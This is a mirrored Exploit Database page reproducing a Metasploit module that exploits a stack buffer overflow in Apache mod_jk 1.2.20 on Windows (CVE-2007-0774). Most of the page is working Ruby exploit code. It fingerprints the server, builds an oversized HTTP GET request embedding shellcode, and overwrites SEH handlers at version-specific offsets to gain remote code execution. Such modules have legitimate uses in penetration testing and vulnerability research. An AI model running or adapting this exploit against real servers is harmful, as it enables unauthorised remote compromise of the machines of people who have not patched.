Apache Tomcat mod_jk 1.2.20 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-07-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16798/

• ##
  # $Id: apache_modjk_overflow.rb 9929 2010-07-25 21:37:54Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',
  			'Description'=> %q{
  					This is a stack buffer overflow exploit for mod_jk 1.2.20.
  				Should work on any Win32 OS.
  			},
  			'Author' => 'Nicob <nicob[at]nicob.net>',
  			'Version'=> '$Revision: 9929 $',
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2007-0774' ],
  					[ 'OSVDB', '33855' ],
  					[ 'BID', '22791' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 4000,
  					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
  					['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Mar 02 2007'))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class)
  	end
  
  	def check
  		connect
  
  		sock.put("GET / HTTP/1.0\r\n\r\n")
  		resp = sock.get_once
  		disconnect
  
  			if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
  				print_status("Apache version detected : #{m[1]}")
  				return Exploit::CheckCode::Appears
  			else
  				return Exploit::CheckCode::Safe
  			end
  	end
  
  	def exploit
  		connect
  
  		uri_start= "GET /"
  		uri_end= ".html HTTP/1.0\r\n\r\n"
  		sc_base= 16
  
  		shellcode= payload.encoded
  		sploit = rand_text_alphanumeric(5001)
  		sploit[sc_base, shellcode.length] = shellcode
  
  		# 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
  		# 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
  		# 4423 : Apache/2.2.3(Win32) mod_jk/1.2.20
  
  		[ 4343, 4407, 4423 ].each { |seh_offset|
  			sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
  			sploit[seh_offset - 4, 2] = "\xeb\xf9"
  			sploit[seh_offset, 4] = [ target.ret ].pack('V')
  		}
  
  		print_status("Trying target #{target.name}...")
  		sock.put(uri_start + sploit + uri_end)
  
  		resp = sock.get_once
  		if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
  			print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
  		end
  
  		handler
  		disconnect
  	end
  
  end